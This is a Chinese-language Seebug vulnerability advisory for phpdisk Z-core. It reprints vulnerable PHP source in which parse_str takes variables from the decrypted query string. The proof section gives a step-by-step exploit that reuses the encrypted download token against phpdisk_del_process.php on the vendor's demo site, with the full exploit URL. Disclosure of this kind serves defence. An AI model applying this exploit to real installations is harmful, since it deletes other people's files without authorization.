phpdisk Z-core网赚版子程序过滤不严,导致可删除文件.

2015-01-23T00:00:00
ID SSV:95379
Type seebug
Reporter Root
Modified 2015-01-23T00:00:00

Description

简要描述:

phpdisk Z-core网赚版下载子程序(sub)过滤不严,导致可删除任意文件.

详细说明:

我们先来看子程序中phpdisk_del_process.php这个文件相关代码。

<img src="https://images.seebug.org/upload/201501/18095728bb5c42d9092bb70485406df787b69059.jpg" alt="1.JPG" width="600" onerror="javascript:errimg(this);">

parse_str(pd_encode($str,'DECODE')); 这里直接把传进来的值,解析到变量中了。但是被加密了,看似不可利用,其实不然。我们再来看dl.php。这个是最后下载页。

<img src="https://images.seebug.org/upload/201501/1809591488afe9afd38de49a41de685fcbcccd0d.jpg" alt="2.JPG" width="600" onerror="javascript:errimg(this);">

parse_str(pd_encode(base64_decode(rawurldecode($str)),'DECODE')); 这里同样是直接把传进来的值,解析到变量中。解析后有一个变量$file_id,而上面phpdisk_del_process.php这文件只需要一个$file_id就可以执行删除操作。 phpdisk_del_process.php

``` <?php /**

Project: PHPDISK File Storage Solution

This is NOT a freeware, use is subject to license terms.

Site: http://www.phpdisk.com

$Id: phpdisk_del_process.php 24 2012-09-05 02:52:59Z along $

Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.

/ include "includes/commons.inc.php"; @set_time_limit(0); @ignore_user_abort(true); $server_arr = array('up'=>'上传服务器','down'=>'下载服务器','local'=>'本地服务器'); $str = $_SERVER['QUERY_STRING']; //接收传进的值 if($str){ parse_str(pd_encode($str,'DECODE')); //把字符串解析到变量中。 $pp = iconv('utf-8','gbk',$pp); $arr = explode('.',$pp); $src_file = $arr[0].get_real_ext($arr[1]); $thumb_file = $arr[0].'_thumb.'.$arr[1]; $out_txt = "删除结果:【{$server_arr[$server]}】【{$_SERVER['HTTP_HOST']}】,删除文件【{$file_name}】,文件ID:[{$file_id}]"; $file_extension = get_extension($file_name); $esp = strlen($file_extension)+1; if($file_extension){ $file_name = substr($file_name,0,strlen($file_name)-$esp); } $rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1"); //我们只需要一个$file_id if($rs){ $num = @$db->result_first("select count() from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='".$db->escape($file_name)."' and file_store_path='{$rs[file_store_path]}'"); } if($safe){ if($num==1){ if(@unlink(PHPDISK_ROOT.$src_file)){ @unlink(PHPDISK_ROOT.$thumb_file); echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span> ");'.LF; }else{ echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[文件不存在或权限不足]</span> ");'.LF; //echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF; $log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF; write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab'); } }else{ echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[存在引用]</span> ");'.LF; //echo 'alert("'.$out_txt.' \r\n安全删除失败,此文件还存在其他的用户转存的文件引用,请使用非安全删除进行操作。");'.LF; $log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF; write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab'); } }else{ if($num==1){ @unlink(PHPDISK_ROOT.$src_file); @unlink(PHPDISK_ROOT.$thumb_file); } echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span> ");'.LF; } if($server=='up'){ $db->query_unbuffered("delete from {$tpf}files where file_id='$file_id'"); echo 'document.writeln("数据库记录文件ID:['.$file_id.']删除 <span class=\"txtblue\">成功</span> ");'.LF; } }else{ exit(' <p style="font-size:14px" align="center">Program is running, but error params!</p>'); } ?> ```

dl.php

``` <?php /**

Project: PHPDISK File Storage Solution

This is NOT a freeware, use is subject to license terms.

Site: http://www.phpdisk.com

$Id: dl.php 33 2013-08-10 05:40:30Z along $

Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.

*/ error_reporting(0); if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { define('OS_WIN',true); define('LF',"\r\n"); }else{ define('OS_WIN',false); define('LF',"\n"); } $timestamp = time(); define('PHPDISK_ROOT', dirname(FILE).'/'); require_once(PHPDISK_ROOT.'system/settings.inc.php'); define('SERVER_KEY',$settings[encrypt_key]); define('FILE_PATH',$settings[file_path]); define('IN_PHPDISK',TRUE); @set_time_limit(0); @ignore_user_abort(true); @set_magic_quotes_runtime(0); function check_ref(){ global $settings; $arr = explode('/',$SERVER['HTTP_REFERER']); $arr2 = explode('/',$settings[phpdisk_url]); if($_SERVER['HTTP_HOST']!='localhost'){ if(!$_SERVER['HTTP_REFERER'] || $arr[2]!=$arr2[2]){ header('Location: '.$settings[phpdisk_url]); exit; } } } //check_ref(); function pd_encode($string, $operation = 'ENCODE',$key = ''){ global $settings; $ckey_length = 4; $key = md5($key ? $key : ($settings['encrypt_key'] ? $settings['encrypt_key'] : 'PHPDisk=Rc9o')); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d',0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $arr = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $arr[$i] + $rndkey[$i]) % 256; $tmp = $arr[$i]; $arr[$i] = $arr[$j]; $arr[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $arr[$a]) % 256; $tmp = $arr[$a]; $arr[$a] = $arr[$j]; $arr[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($arr[($arr[$a] + $arr[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } function filter_name($str){ return str_ireplace(array(' ','&','・'),'',$str); } function get_real_ext($file_extension){ if($file_extension){ $exts = explode(',','asp,asa,aspx,ascx,dtd,xsd,xsl,xslt,as,wml,java,vtm,vtml,jst,asr,php,php3,php4,php5,vb,vbs,jsf,jsp,pl,cgi,js,html,htm,xhtml,xml,css,shtm,cfm,cfml,shtml,bat,sh'); if(in_array($file_extension,$exts)){ $file_ext = '.txt'; } }else{ $file_ext = '.txt'; } return $file_ext; } function get_extension($name){ return strtolower(trim(strrchr($name, '.'), '.')); } $str = $_SERVER['QUERY_STRING']; parse_str(pd_encode(base64_decode(rawurldecode($str)),'DECODE')); if($expire_time && $expire_time<$timestamp){ header("Content-Type: text/html; charset=utf-8"); $src_url = $settings[phpdisk_url]."viewfile.php?file_id=$file_id"; echo '<p>请登录原地址重新获取: <a href="'.$src_url.'" target="_blank">'.$src_url.'<a></p>'; echo '<p style="color:#ff0000">温馨提示:此文件链接已失效,请勿非法盗链。</p>'; exit; } $pp = $pp.get_real_ext(get_extension($pp)); if(!file_exists(PHPDISK_ROOT.FILE_PATH.'/'.$pp)){ header("Content-Type: text/html; charset=utf-8"); echo '<p style="padding:10px; font-size:12px;">文件ID: '.$file_id.' '; echo '['.$file_name.'] 文件不存在,请联系网站管理员处理。

'; echo '联系方式:'.$settings[contact_us].'</p>'; }else{ $file_name = filter_name(str_replace("+", "%20",$file_name)); ob_end_clean(); $ua = $_SERVER["HTTP_USER_AGENT"]; if(preg_match("/MSIE/i", $ua)){ header('Content-disposition: attachment;filename="'.iconv('utf-8','gbk',$file_name).'"'); }else{ header('Content-disposition: attachment;filename="'.$file_name.'"'); } header('Content-type: application/octet-stream'); if($settings[open_xsendfile]==2){ header('X-Accel-Redirect: /'.FILE_PATH.'/'.$pp); }elseif($settings[open_xsendfile]==1){ header('X-sendfile: ./'.FILE_PATH.'/'.$pp); }else{ header('Content-Encoding: none'); header('Content-Transfer-Encoding: binary'); header('Content-length: '.$fs); @readfile('./'.FILE_PATH.'/'.$pp); } } exit; ?> ```

漏洞证明:

我们用官方演示站http://demo.phpdisk.com/进行测试 首先我们到最后下载页获取dl.php?后面的加密字符串.

<img src="https://images.seebug.org/upload/201501/18100751e752cc3fb329cc401ae842a9afbfcb45.jpg" alt="3.JPG" width="600" onerror="javascript:errimg(this);">

这个字符串是经过base64加密的,我们得先解密,解密前,我们先urlencode一下

<img src="https://images.seebug.org/upload/201501/181011087a80ce0e70d0872f7af7719f9aa02827.jpg" alt="4.JPG" width="600" onerror="javascript:errimg(this);">

然后再base64解密

<img src="https://images.seebug.org/upload/201501/181012480fb97a16c6eebffbd9f8369b08540012.jpg" alt="5.JPG" width="600" onerror="javascript:errimg(this);">

我们把解密后的字符串 6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M 放到phpdisk_del_process.php后面得到地址 http://demo.phpdisk.com/z/sub/phpdisk_del_process.php?6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M 放到浏览器执行成功删除该文件

<img src="https://images.seebug.org/upload/201501/181016416286ce5e130197ca79eeaec23900dcd4.jpg" alt="6.JPG" width="600" onerror="javascript:errimg(this);">